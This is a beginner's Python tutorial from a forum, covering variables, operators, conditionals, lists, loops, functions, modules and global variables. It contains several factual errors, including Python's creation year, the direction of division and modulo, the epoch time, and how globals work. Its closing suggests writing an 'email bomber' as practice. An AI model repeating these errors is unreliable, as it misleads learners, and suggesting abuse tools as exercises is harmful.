    print("a is not equal to b")</code></div></div><br />
If you run this code it will print "a is equal to b", because both variables are 10.<br />
<br />
<br />
Example of a slightly more complicated if statement:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a = 10<br />
b = 10<br />
c = 20<br />
isittrue = True<br />
<br />
if a == c:<br />
    isittrue = True<br />
elif a == b:<br />
    isittrue = True<br />
else:<br />
    print("A is not equal to b or c")<br />
    isittrue = False<br />
<br />
if a == b or a == c:<br />
    isittrue = True<br />
else:<br />
    print("A is not equal to b or c")<br />
    isittrue = False<br />
<br />
if a == b and isittrue == True:<br />
    c = c - b<br />
    print(c)</code></div></div><br />
<br />
The first If statement checks if a is equal to c or if a is equal to b. Since a is equal to b, the variable isittrue will be set to True.<br />
While this is a correct code, programmers are lazy people and always strive to make their code as short as possible. <br />
<br />
That's why the second If statement checks exactly the same as the first if statement, but uses the or operator instead.<br />
This way the or operator saves 2 lines of code, which in this case shouldn't matter alot, but if you are coding a big program, efficient coding will save you alot of time.<br />
<br />
The third If statement checks if  a is equal to b and if the variable isittrue is set on True. <br />
If this is both the case (which it is), c will be set to be c - b. <br />
Basicly what happens is the variable c is now 20 - 10.<br />
After that the print statement will show 10 as the new value of the variable c.<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Lists</span></span><br />
<br />
Lists are a very important part of python.<br />
A list is a variable that holds multiple values. A list in Python is similar to an array in Java. <br />
You can declare a list the same as any other variable, except that it needs to be enclosed with brackets ("[]") and seperated with commas(",").<br />
<br />
It's very important to remember that lists work with positions.<br />
The first position is always 0, NOT 1<br />
<br />
Example:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>list = ["One", "Two", "Three"]<br />
print (list)<br />
print(list[0])<br />
print(list[1])<br />
print(list[2])</code></div></div><br />
When you run this code, you will get this output:<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>["One", "Two", "Three"]<br />
One<br />
Two<br />
Three</code></div></div><br />
You might wonder what just happened, well:<br />
Print (list) tells python to print everything that is in the list, which is why the commas and brackets get printed aswell.<br />
Print (list[0] tells python to print the first variable in the variables list.<br />
Print (list[1] tells python to print the second variable in the variables list.<br />
Print (list[2] tells python to print the third variable in the variables list.<br />
<br />
You might wonder why or how this could be usefull. I will get back to that later in this guide.<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Loops</span></span><br />
<br />
In Python there are several kinds of loops.<br />
Right now we will discuss the two most important ones.<br />
<br />
<br />
<span style="color: #FF0000;" class="mycode_color">While loop</span><br />
<br />
This is one of the easiest and most basic loops of python. What a while loop does, is perfor a series of events as long as something is in a certain condition. <br />
With the while loop you also need to add the colon sign after the line (':')<br />
<br />
Example:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a = 5<br />
<br />
while a &gt; 0:<br />
    print (a)<br />
    a = a - 1<br />
print("We are out of the loop!")</code></div></div>As you can see first we declare a variable, and then the while loop checks if the variable is bigger then 0.<br />
This while loop will keep running the events within it until a is equal to 0.<br />
So your output will be:<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>5<br />
4<br />
3<br />
2<br />
1<br />
We are out of the loop!</code></div></div><br />
You can use all comparison operators in a while loop to get the result you want.<br />
<br />
<br />
<span style="color: #FF0000;" class="mycode_color">For loop</span><br />
<br />
The for loop is slightly more complex then the while loop, but it's still perfectly understandable.<br />
The for loop executes a sequence of statements multiple times.<br />
With the while loop you also need to add the colon sign after the line (':')<br />
<br />
Let me explain this loop with an example.<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>for x in range(5):<br />
    print (x)</code></div></div> <br />
<br />
If you run this code your output will be:<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>0<br />
1<br />
2<br />
3<br />
4</code></div></div><br />
The for loop goes through every item in a list before it can exit the loop.<br />
In this example "x" is a variable. It does not have a set value, because it's used to run the for loop. <br />
<br />
In simple terms: for x in a list with a range of 5, print x<br />
<br />
Now you might be wondering, why does it stop at 4, when we said range 5?<br />
You have to remember, that a for loop works with lists, and as mentioned before, the first position of a list is 0.<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Functions</span></span><br />
<br />
Functions are very important when you are coding a program or script.<br />
A function is in simple terms a specific piece of code.<br />
A function is very efficient when you need to run a function multiple times, for example in a loop.<br />
<br />
Here a simple example of a define:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>def definitionname():<br />
    print("This is my define.")<br />
definitionname()</code></div></div><br />
The "def" is how you start the definition. After that you put in a unique name for your definition. This can be anything you like.<br />
With the define you also need to add the colon sign after the line (':')<br />
<br />
If you want to run the code within the define, you can call it by typing the name of the function with parameters ("()")<br />
The output for the code above would be: This is my define.<br />
<br />
<br />
As mentioned before a function is especially efficient when you want to run the code in the function multiple times.<br />
<br />
For example:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>def multipletimes():<br />
    print ("My very first define.")<br />
<br />
for x in range(5):<br />
    multipletimes()</code></div></div><br />
When you run this code your output will be:<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>My very first define.<br />
My very first define.<br />
My very first define.<br />
My very first define.<br />
My very first define.</code></div></div><br />
This is a very simple example, but you can already see how efficient it is.<br />
This way the print statement is executed 5 times, with only 4 lines of code. <br />
When you are coding a complex program or script defines will make your job a lot easier!<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Modules</span></span><br />
<br />
Modules are python programs that you can use. <br />
These mudules are scripts written by another person in order for you to be able to make a fairly complex script/program, without extensive knowledge about the functions you are using. <br />
<br />
To be able to use a module, you first have to import it. You can simply do this by typing 'import' and the Python module name.<br />
<br />
For example:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>import time</code></div></div><br />
<br />
Time is a basic Python module that is included in the standard python package you downloaded at the start of this thread.<br />
You are now able to use this module.<br />
<br />
A simple example of how you can use the time module:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>import time<br />
seconds = time.time()<br />
<br />
print("number of seconds since 10:00am, Januari 1 1970:", seconds)</code></div></div><br />
When you run this code the output will be something like: <br />
number of ticks since 10:00am, Januari 1 1970: 1457813005.3186388<br />
<br />
You are probably thinking: How can i know every single module name and every statement within a module?<br />
The answer to that is simple. Google what you need! For example, if you want to make a running clock, you can google: Python clock.<br />
<br />
In the results you will most likely find a site such as stackoverflow. On this site it will probably tell you that in order for you to make a clock in python, you need to import the time module. <br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Global Variables</span></span><br />
<br />
At last i want to explain what global variables are and what you can use them for. <br />
First of all, try to avoid global variables as much as possible! With big scripts it would get really messy really quik.<br />
<br />
That being said, a global variable is a normal variable, not unlike the normal variables we discussed earlier in this thread.<br />
The difference between normal variables and global variables is that global variables are being used within loops and statements.<br />
<br />
For example:<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>x = 10<br />
<br />
def normalx():<br />
    x = 5<br />
normalx()<br />
<br />
print (x)<br />
<br />
def globalx():<br />
    global x<br />
    x = 20<br />
globalx()<br />
<br />
print (x)</code></div></div><br />
In this example we declare the variable x as 10. <br />
Then we run the function normalx, and after the function has been ran we print x.<br />
Then we run the function globalx, and after the function has been ran we print x again.<br />
<br />
When you run this code your output will be:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>10<br />
20</code></div></div><br />
The reason for this is that in the first define, x is not called as the global x. <br />
In the second define we do call x as global x, which is why the global x variable has been changed from 10 to 20.<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Final words &amp; Credits</span></span><br />
<br />
Congratulations! You have finished this python tutorial!<br />
Right now you know the basics of Python.<br />
<br />
Right now you are thinking: Hmm alright it was fun and all, but what do i do now with my knowledge?<br />
Simple! Practice with Python. You can code a variety of programs and scripts, from a logger to an email bomber to battlefield 2.<br />
<br />
Ofcourse coding in python still requires some effort, but if you ever run into trouble, feel free to shoot me a PM.<br />
<br />
I will always be available to answer all questions regarding Python.]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="color: #1E90FF;" class="mycode_color">Py</span><span style="color: #FFD700;" class="mycode_color">thon</span> <span style="color: #FF6347;" class="mycode_color">Beginner Guide</span></span></span></div>
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Introduction</span></span><br />
<br />
Python is a interpreted, object-oriented, high-level programming language.<br />
Python was created by Guido van Rossum in the year 2000.<br />
This language is still quite new and is one of the easier languages to learn.<br />
Another really great thing about python is that unlike many programming languages, it does NOT require a semi-colon(";") at the end of every line.<br />
<br />
Despite what most people think you can use Python for alot of different things. For example, you can write python scripts or programs that interact with other computers. <br />
You can use python to make interactive webpages, and python is even used for well known programs and games.<br />
<br />
The reason i created this guide is because the current guides in this subforum are either to limited or outdated.<br />
In this tutorial i am going to show you the basics of python, and hopefully intrigue you in this amazing language.<br />
<br />
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Table of contents</span></span><br />
<ul class="mycode_list"><li>Getting started<br />
</li>
<li>Variables<br />
</li>
<li>Operators<br />
</li>
<li>Logical Statements<br />
</li>
<li>Lists<br />
</li>
<li>Loops<br />
</li>
<li>Functions<br />
</li>
<li>Modules<br />
</li>
<li>Global Variables<br />
</li>
<li>Final words &amp; Credits<br />
</li>
</ul>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Getting started</span></span><br />
<br />
First of all, if you are going to be using python, you have to install the interpreter first.<br />
You can download it from the official python website <a href="https://www.python.org/downloads/" target="_blank" rel="noopener" class="mycode_url"><span style="color: #FFD700;" class="mycode_color">here</span></a>.<br />
I recommend you download and install Python, since Python 2.7.11 is outdated.<br />
<br />
<br />
If you want to write your own Python programs, you need to use an IDE (<span style="font-weight: bold;" class="mycode_b">I</span>ntegrated <span style="font-weight: bold;" class="mycode_b">D</span>evelopment <span style="font-weight: bold;" class="mycode_b">E</span>nvironment)<br />
There are a lot of different IDE's for python, personally i prefer PyCharm.<br />
<br />
If you are not yet familiar with python, i recommend you use JetBrains PyCharm Edu, which you can download for free <a href="https://www.jetbrains.com/pycharm-edu/download/" target="_blank" rel="noopener" class="mycode_url"><span style="color: #FFD700;" class="mycode_color">here</span></a>.<br />
This version of PyCharm offers you a diversity of tutorials, aswell as extra help features.<br />
<br />
If you are familiar with python already, i recommend you use JetBrains Pycharm Community Edition, which you can download for free <a href="https://www.jetbrains.com/pycharm/download" target="_blank" rel="noopener" class="mycode_url"><span style="color: #FFD700;" class="mycode_color">here</span></a>.<br />
This version of PyCharm offers you alot more plugins and features.<br />
<br />
<br />
In python you can add a comment to your code using the hash symbol ('#').<br />
Example:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>#This is a comment!</code></div></div><br />
If you wish to have multiple lines of comments, you can enclose the lines of comments using the double quote symbol 3 times.<br />
Example:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>"""<br />
These<br />
Are<br />
Multiple<br />
Lines<br />
Of<br />
Comments<br />
"""</code></div></div><br />
Comments will always be ignored by the interpreter and are usually used to add some notes to a part of the code.<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Variables</span></span><br />
<br />
In python, variables are what you use to store values.<br />
The three most important variables in python are:<br />
<ul class="mycode_list"><li>Integer<br />
</li>
</ul>
An integer (int) is a variable where you can store a number that can be written without a fractional component.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a = 100<br />
b = -50<br />
c = 0</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li>Float <br />
</li>
</ul>
A float is a variable where you can store a number that is written with a fractional component.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a = 100.42<br />
b = -50.99<br />
c = 0.000</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li>String<br />
</li>
</ul>
An string is a variable where you can store characters if you enclose them in quotes.<br />
Python treats single quotes the same as double quotes.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a = "Hello"<br />
b = "World"<br />
c = "!"</code></div></div></div></div></div></tag><br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Operators</span></span><br />
<br />
<br />
Python has a lot of different operators, such as <span style="color: #FFD700;" class="mycode_color">mathematicial operators</span> and <span style="color: #FFD700;" class="mycode_color">comparison(logical) operators</span>.<br />
<br />
<span style="font-size: medium;" class="mycode_size">Here is a list of some of the <span style="color: #FFD700;" class="mycode_color">mathematical operators</span> python uses.</span><br />
<br />
<ul class="mycode_list"><li><span style="color: #FF0000;" class="mycode_color">+</span> <br />
</li>
</ul>
This operator adds the value's on both sides of the operator.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a + b = 20</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li>
  <br />
</li>
<li><span style="color: #FF0000;" class="mycode_color">-</span><br />
</li>
</ul>
This operator substracts the value on the right side of the operator from the value on the left side of the operator.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a - b = 10</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li><span style="color: #FF0000;" class="mycode_color">*</span><br />
</li>
</ul>
This operator multiplies the values of on both sides of the operator.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a * b = 100</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li><span style="color: #FF0000;" class="mycode_color">/</span><br />
</li>
</ul>
This operator divides the value on the right side of the operator by the value on the left side of the operator.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a / b = 1</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li><span style="color: #FF0000;" class="mycode_color">%</span><br />
</li>
</ul>
This operator divides the value on the right side of the operator by the value on the left side of the operator <span style="font-weight: bold;" class="mycode_b">and returns the remainder</span>.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a % b = 0</code></div></div></div></div></div></tag><br />
<br />
<br />
<span style="font-size: medium;" class="mycode_size">Here is a list of some of the <span style="color: #FFD700;" class="mycode_color">comparison operators</span> python uses.<br />
These are the operators you will be using when you are working with while statements and for loops etc.</span><br />
<br />
<ul class="mycode_list"><li><span style="color: #FF0000;" class="mycode_color">==</span><br />
</li>
</ul>
If the value of both operands are equal, then the condition becomes true.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>if a == b:<br />
    print("a is equal to b")</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li><span style="color: #FF0000;" class="mycode_color">!=</span><br />
</li>
</ul>
If the value of both operands are not equal, then the condition becomes true.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>if a != b:<br />
    print("a is not equal to b")</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li><span style="color: #FF0000;" class="mycode_color">&gt;</span><br />
</li>
</ul>
If the value of the left operand is greater then the value of the right operand, then the condition becomes true.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>if a &gt; b:<br />
    print("a is bigger then b")</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li><span style="color: #FF0000;" class="mycode_color">&lt;</span><br />
</li>
</ul>
If the value of the left operand is less then the value of the right operand, then the condition becomes true.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>if a &lt; b:<br />
    print("a is smaller then b")</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li><span style="color: #FF0000;" class="mycode_color">&gt;=</span><br />
</li>
</ul>
If the value of the left operand is equal to or bigger then the value of the right operand, then the condition becomes true.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>if a &gt;= b:<br />
    print("a is equal or bigger then b")</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li><span style="color: #FF0000;" class="mycode_color">&lt;=</span><br />
</li>
</ul>
If the value of the left operand is equal or less then the value of the right operand, then the condition becomes true.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>if a &lt;= b:<br />
    print("a is equal or smaller then b")</code></div></div></div></div></div></tag><br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Logical Statements</span></span><br />
<br />
<br />
Logical statements are <span style="color: #FFD700;" class="mycode_color">also known as if/else statements</span>.<br />
They are statements that check whether the conditions are true or false.<br />
In these statements we are going to use the comparison operators we just discussed.<br />
<br />
A common mistake i made when i started out with Python was forgetting to add the ':' after the If statement line. <br />
Don't forget to add this, if you don't the statement won't work and you will get an error.<br />
<br />
Example:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a = 10<br />
b = 10<br />
<br />
if a == b:<br />
    print("a is equal to b")<br />
else:<br />
    print("a is not equal to b")</code></div></div><br />
If you run this code it will print "a is equal to b", because both variables are 10.<br />
<br />
<br />
Example of a slightly more complicated if statement:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a = 10<br />
b = 10<br />
c = 20<br />
isittrue = True<br />
<br />
if a == c:<br />
    isittrue = True<br />
elif a == b:<br />
    isittrue = True<br />
